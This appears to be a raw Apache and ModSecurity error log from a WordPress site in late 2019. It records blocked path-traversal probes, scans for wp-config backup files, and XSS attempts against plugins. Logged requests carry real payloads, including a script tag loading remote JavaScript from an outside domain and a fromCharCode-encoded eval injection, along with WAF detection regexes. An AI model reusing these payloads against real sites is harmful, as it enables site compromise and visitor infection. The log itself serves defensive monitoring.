[Sun Sep 29 14:14:43.968928 2019] [:error] [pid 23503] [client 35.232.85.45:53795] [client 35.232.85.45] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "XZCgM1VRatZpnvlzSaD2OAAAAA0"]
[Sun Sep 29 14:14:44.872691 2019] [:error] [pid 23503] [client 35.232.85.45:53795] [client 35.232.85.45] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:fileName"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:fileName. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/candidate-application-form/downloadpdffile.php"] [unique_id "XZCgNFVRatZpnvlzSaD2PAAAAA0"]
[Sun Sep 29 14:14:44.993765 2019] [:error] [pid 23503] [client 35.232.85.45:53795] [client 35.232.85.45] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:filename"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:filename. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "XZCgNFVRatZpnvlzSaD2PQAAAA0"]
[Sun Sep 29 17:42:59.172022 2019] [proxy_fcgi:error] [pid 8485] [client 78.85.138.163:59259] AH01071: Got error 'Primary script unknown\n'
[Mon Sep 30 03:53:44.520398 2019] [proxy_fcgi:error] [pid 21441] [client 78.85.138.163:43125] AH01071: Got error 'Primary script unknown\n'
[Mon Sep 30 17:34:12.961670 2019] [authz_core:error] [pid 2126] [client 46.165.245.154:36548] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php2
[Mon Sep 30 17:34:13.450904 2019] [authz_core:error] [pid 2125] [client 46.165.245.154:37252] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php3
[Mon Sep 30 17:34:13.962950 2019] [authz_core:error] [pid 2128] [client 46.165.245.154:37790] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php4
[Mon Sep 30 17:34:14.898862 2019] [authz_core:error] [pid 2127] [client 162.247.74.206:38558] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php5
[Mon Sep 30 17:34:15.733388 2019] [authz_core:error] [pid 2123] [client 162.247.74.206:39664] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php6
[Mon Sep 30 17:34:16.648946 2019] [authz_core:error] [pid 2124] [client 162.247.74.206:40626] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php7
[Mon Sep 30 17:34:17.484850 2019] [authz_core:error] [pid 1754] [client 77.247.181.165:19116] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php8
[Mon Sep 30 17:34:18.217517 2019] [authz_core:error] [pid 1249] [client 77.247.181.165:9998] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php9
[Mon Sep 30 17:34:18.801110 2019] [authz_core:error] [pid 1333] [client 77.247.181.165:22262] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php10
[Mon Sep 30 17:34:19.536402 2019] [authz_core:error] [pid 2109] [client 77.247.181.165:8246] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php11
[Mon Sep 30 17:34:20.286185 2019] [authz_core:error] [pid 2119] [client 77.247.181.165:30010] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php12
[Mon Sep 30 18:03:15.643240 2019] [proxy_fcgi:error] [pid 6231] [client 93.79.221.112:36369] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/licensed.php
[Tue Oct 01 23:14:41.060234 2019] [ssl:error] [pid 20931] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Oct 01 23:14:41.061385 2019] [ssl:error] [pid 20931] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Oct 02 01:26:38.456955 2019] [authz_core:error] [pid 32194] [client 107.179.123.122:64124] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/holding_pattern, referer: http://fincasandoval.com/wp-content/themes/holding_pattern/admin/options-tab-sample.txt
[Thu Oct 03 13:56:17.212653 2019] [proxy_fcgi:error] [pid 7064] [client 78.85.201.238:19127] AH01071: Got error 'Primary script unknown\n'
[Fri Oct 04 02:49:18.101334 2019] [autoindex:error] [pid 30612] [client 122.51.0.219:58262] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-includes/Text/Diff/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Fri Oct 04 10:05:35.722249 2019] [authz_core:error] [pid 22396] [client 45.136.108.44:59121] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/profile-builder
[Fri Oct 04 10:37:14.650862 2019] [authz_core:error] [pid 25853] [client 37.1.204.92:54995] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.back
[Fri Oct 04 11:19:26.822770 2019] [:error] [pid 30693] [client 163.44.207.54:41080] [client 163.44.207.54] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:width. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XZcOnt6RLoNoputcmlqX5gAAABE"]
[Fri Oct 04 11:19:36.239800 2019] [:error] [pid 29252] [client 163.44.207.54:43446] [client 163.44.207.54] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:domain. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XZcOqFPJUdGUT6ART@8A7QAAACg"]
[Fri Oct 04 11:19:48.987900 2019] [:error] [pid 31147] [client 163.44.207.54:49300] [client 163.44.207.54] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:wplc_custom_js. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XZcOtG9nVnw-8RMEEDnreQAAAAE"]
[Fri Oct 04 11:19:50.812677 2019] [:error] [pid 30779] [client 163.44.207.54:50080] [client 163.44.207.54] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:wplc_custom_js. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XZcOtnD1Kewut2AlpXgq8AAAAAM"]
[Fri Oct 04 11:19:58.817412 2019] [:error] [pid 30908] [client 163.44.207.54:52686] [client 163.44.207.54] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XZcOvqCyulQXzu5xgpc9OAAAAAs"]
[Fri Oct 04 21:29:16.737383 2019] [proxy_fcgi:error] [pid 4031] [client 78.85.201.238:3251] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 05 15:07:09.632184 2019] [:error] [pid 20586] [client 91.234.217.135:53252] [client 91.234.217.135] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XZiVfeQ-sdP-MjqH6tPjqQAAAAU"], referer: "><script type=text/javascript src='https://js.balantfromsun.com/black.js?&tp=3'></script>
[Sat Oct 05 15:07:10.365777 2019] [:error] [pid 20914] [client 91.234.217.135:53808] [client 91.234.217.135] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/wp-login.php"] [unique_id "XZiVfjvCBNmQSxYM7leilAAAAAY"], referer: "><script type=text/javascript src='https://js.balantfromsun.com/black.js?&tp=3'></script>
[Sat Oct 05 15:07:11.046025 2019] [:error] [pid 20011] [client 91.234.217.135:54520] [client 91.234.217.135] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/wp-login.php"] [unique_id "XZiVf2Jc4CsGyl0BLAxjyQAAAAE"], referer: "><script type=text/javascript src='https://js.balantfromsun.com/black.js?&tp=3'></script>
[Sat Oct 05 15:07:11.831594 2019] [:error] [pid 19045] [client 91.234.217.135:54822] [client 91.234.217.135] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/wp-login.php"] [unique_id "XZiVfzMNKW8amwLsZfAXtAAAAAI"], referer: "><script type=text/javascript src='https://js.balantfromsun.com/black.js?&tp=3'></script>
[Sat Oct 05 15:07:12.465628 2019] [:error] [pid 20964] [client 91.234.217.135:55386] [client 91.234.217.135] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/wp-login.php"] [unique_id "XZiVgBRvg3HnsaW8vwYr2gAAAAQ"], referer: "><script type=text/javascript src='https://js.balantfromsun.com/black.js?&tp=3'></script>
[Sat Oct 05 21:42:39.754831 2019] [proxy_fcgi:error] [pid 24104] [client 52.11.94.217:57346] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/index.php:15\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/index.php on line 15\n', referer: http://sucuri.net
[Sat Oct 05 21:42:39.831063 2019] [autoindex:error] [pid 23878] [client 52.11.94.217:47109] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-includes/css/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sun Oct 06 16:12:20.092738 2019] [proxy_fcgi:error] [pid 2265] [client 78.85.201.238:4228] AH01071: Got error 'Primary script unknown\n'
[Mon Oct 07 12:04:54.263369 2019] [authz_core:error] [pid 868] [client 45.124.146.254:49570] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-includes/LICENSE.php
[Mon Oct 07 17:53:26.593034 2019] [proxy_fcgi:error] [pid 14714] [client 78.85.201.238:10069] AH01071: Got error 'Primary script unknown\n'
[Mon Oct 07 20:55:48.850594 2019] [proxy_fcgi:error] [pid 4918] [client 91.196.248.197:54303] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 08 03:12:36.508174 2019] [:error] [pid 12833] [client 109.102.111.39:60525] [client 109.102.111.39] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".innerhtml"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-includes/js/jquery/])[1].toLowerCase(),m=ca[j]||ca._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&_.test(g)&&q.push(b.createTextNode(_.exec(g)[0])),!l.tbody){g="] [unique_id "XZvihEfs3TJ7yuyeD31NQwAAABM"]
[Tue Oct 08 03:12:37.277817 2019] [:error] [pid 12827] [client 109.102.111.39:60544] [client 109.102.111.39] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".innerhtml"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-includes/js/jquery/===c"] [unique_id "XZvihaykyz217rHNq09VfAAAAAs"]
[Tue Oct 08 17:22:24.623043 2019] [proxy_fcgi:error] [pid 30310] [client 78.85.186.31:31196] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 08 23:15:20.303020 2019] [proxy_fcgi:error] [pid 6230] [client 78.85.186.31:11713] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 09 04:03:44.881321 2019] [proxy_fcgi:error] [pid 26595] [client 78.85.186.31:51188] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 09 09:30:36.645278 2019] [authz_core:error] [pid 23881] [client 81.177.141.101:59088] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~
[Wed Oct 09 09:30:57.955322 2019] [authz_core:error] [pid 23881] [client 81.177.141.101:33782] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save
[Wed Oct 09 09:31:13.964051 2019] [authz_core:error] [pid 24861] [client 81.177.141.101:35192] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_bak
[Wed Oct 09 09:31:30.797651 2019] [authz_core:error] [pid 24892] [client 81.177.141.101:37154] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak
[Wed Oct 09 09:31:43.721810 2019] [authz_core:error] [pid 24892] [client 81.177.141.101:38580] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bak
[Wed Oct 09 09:32:46.804504 2019] [authz_core:error] [pid 24303] [client 81.177.141.101:43456] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old
[Wed Oct 09 09:32:54.900008 2019] [authz_core:error] [pid 24797] [client 81.177.141.101:44936] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.orig
[Wed Oct 09 09:33:25.686196 2019] [authz_core:error] [pid 24972] [client 81.177.141.101:48394] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.original
[Wed Oct 09 21:12:51.759582 2019] [authz_core:error] [pid 10664] [client 193.106.30.99:40930] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php
[Thu Oct 10 17:17:23.536868 2019] [proxy_fcgi:error] [pid 24059] [client 193.106.30.99:42184] AH01071: Got error 'Primary script unknown\n'
[Fri Oct 11 00:40:26.356600 2019] [ssl:error] [pid 5543] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Oct 11 00:40:26.411438 2019] [ssl:error] [pid 5543] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Oct 11 02:35:56.071082 2019] [authz_core:error] [pid 20660] [client 78.85.186.31:31446] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/theme-editor
[Fri Oct 11 05:41:08.365661 2019] [proxy_fcgi:error] [pid 20910] [client 193.106.30.99:44410] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 12 10:50:08.419961 2019] [authz_core:error] [pid 17998] [client 78.85.186.31:11840] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/theme-editor
[Sat Oct 12 17:44:13.068440 2019] [proxy_fcgi:error] [pid 24937] [client 193.106.30.99:48056] AH01071: Got error 'Primary script unknown\n'
[Sun Oct 13 09:23:09.771441 2019] [proxy_fcgi:error] [pid 28928] [client 193.106.30.99:46448] AH01071: Got error 'Primary script unknown\n'
[Sun Oct 13 10:37:11.196738 2019] [authz_core:error] [pid 3515] [client 78.85.186.31:45726] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/theme-editor
[Mon Oct 14 22:39:51.096306 2019] [proxy_fcgi:error] [pid 31836] [client 193.106.30.99:41758] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 15 04:59:52.697316 2019] [:error] [pid 21248] [client 167.99.232.64:45312] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU2KDYzG0HkfwelRToJPQAAAAM"]
[Tue Oct 15 05:01:21.825883 2019] [:error] [pid 19593] [client 167.99.232.64:35264] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS_NAMES:{"settings":{"wps_settings_general_products_url":"\\\\""eval(String.fromCharCode(32,40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,118,97,114,32,101,108,101,109,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,9,101,108,101,109,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39, [hostname "fincasandoval.com"] [uri "/wp-json/wpshopify/v1/settings"] [unique_id "XaU2gT8mm8VOUla55VoOOgAAAAg"]
[Tue Oct 15 05:01:33.258364 2019] [:error] [pid 20121] [client 167.99.232.64:37454] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU2jY2cTzUfkYrU-E7hNgAAAAo"]
[Tue Oct 15 05:01:45.844762 2019] [:error] [pid 21243] [client 167.99.232.64:39926] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:dpc[basic_metadata][verify][bing]. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU2mW17QfJSlgYWmPr9uwAAAAE"]
[Tue Oct 15 05:02:02.929027 2019] [:error] [pid 20121] [client 167.99.232.64:43550] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:gapi_client_id. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU2qo2cTzUfkYrU-E7hNwAAAAo"]
[Tue Oct 15 05:13:26.592374 2019] [:error] [pid 22561] [client 167.99.232.64:43170] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU5Vl0voX4slSTRv-Us2wAAADs"]
[Tue Oct 15 05:14:08.277671 2019] [:error] [pid 22546] [client 167.99.232.64:51526] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:import-json. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU5gNvuh8tgI3K@Fbos2QAAACw"]
[Tue Oct 15 05:15:11.518523 2019] [:error] [pid 22548] [client 167.99.232.64:36120] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU5v@yhvHWaC319G0y35gAAAC4"]
[Tue Oct 15 05:15:11.781667 2019] [:error] [pid 22788] [client 167.99.232.64:36192] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:dpc[basic_metadata][verify][bing]. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU5v8c2VyISVscu3EEd9gAAAAQ"]
[Tue Oct 15 05:15:17.601454 2019] [:error] [pid 20875] [client 167.99.232.64:37314] [client 167.99.232.64] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:gapi_client_id. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XaU5xYZPr1HFDA6eaV8XbwAAABk"]
